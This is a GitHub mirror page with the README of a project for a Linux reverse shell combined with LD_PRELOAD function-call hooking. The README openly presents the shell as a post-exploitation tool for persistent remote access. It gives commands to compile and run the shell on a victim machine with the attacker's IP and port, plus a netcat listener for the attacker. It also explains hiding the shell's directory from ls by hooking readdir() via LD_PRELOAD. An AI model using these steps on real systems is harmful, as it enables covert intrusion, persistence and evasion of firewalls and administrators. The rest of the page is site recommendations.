Git Product home page Git Product logo

reverse-shell-x-function-call-hooking's Introduction

Linux Reverse Shell

Target system(victim) acts an client and sever is setup by connection initiator(attacker). This is used as a one of post-exploitation tools to gain persistent remote access to victim machine.

Advantages

  • This remove the requirement of victim's machine IP address and port
  • May help an attacker to bypass incoming connection firewall rules.

usage of reverseShell

  • victim's machine
gcc rvrshell.c -o rvrshell && ./rvrshell [IPV4 Addr] [port]


  • attacker's machine:
nc -l [port]

gcc shellsrv.c -o srv && ./shellsrv.c [port]

Dynamic linking/ Function call hooking

Now to we will be looking at concept of Function call hooking using dynamic linking(shared libraries)- Dynamic linker provides feature for development of shared libraries and debugging purposes. Such LD_PRELOAD environment viriable or /etc/ld.preload.so in linux which make loading specified library function into memory before default libraries.1

Function call hooking refers to a range of techniques used to intercept calls to pre-existing functions and wrap around them to modify the function’s behavior at runtime. 2

Make it invisible & persistent

We will be using function call hooking to hide our executables files from /bin/ls

Here, We hooked function readdir()3 which act as C wrapper to getdents(), which is used by /bin/ls to list directories. strace /bin/ls

Instead of hiding files, we hooked readdir() function just to hide directory of name "reverseShell". We modified readdir() in such a way that when it get entry for "hidden_dir_name" it skips and hop to next entry and returns next dirent pointer.

This can be further improve by hooking more function call to hide process from ps and netstat, but here it completes the purpose of project.

Usage & compilation of libreaddir.c -

> gcc -Wall -fPIC -shared libreaddir.c -ldl -D_GNU_SOURCE -o libreaddir.so
( by convention shared lib end with .so & static lib with .a )
> export LD_PRELOAD=/path/to/libreaddir.so

Read here for more details about shared library

reverse-shell-x-function-call-hooking's People

Contributors

peonix0 avatar

Stargazers

 avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.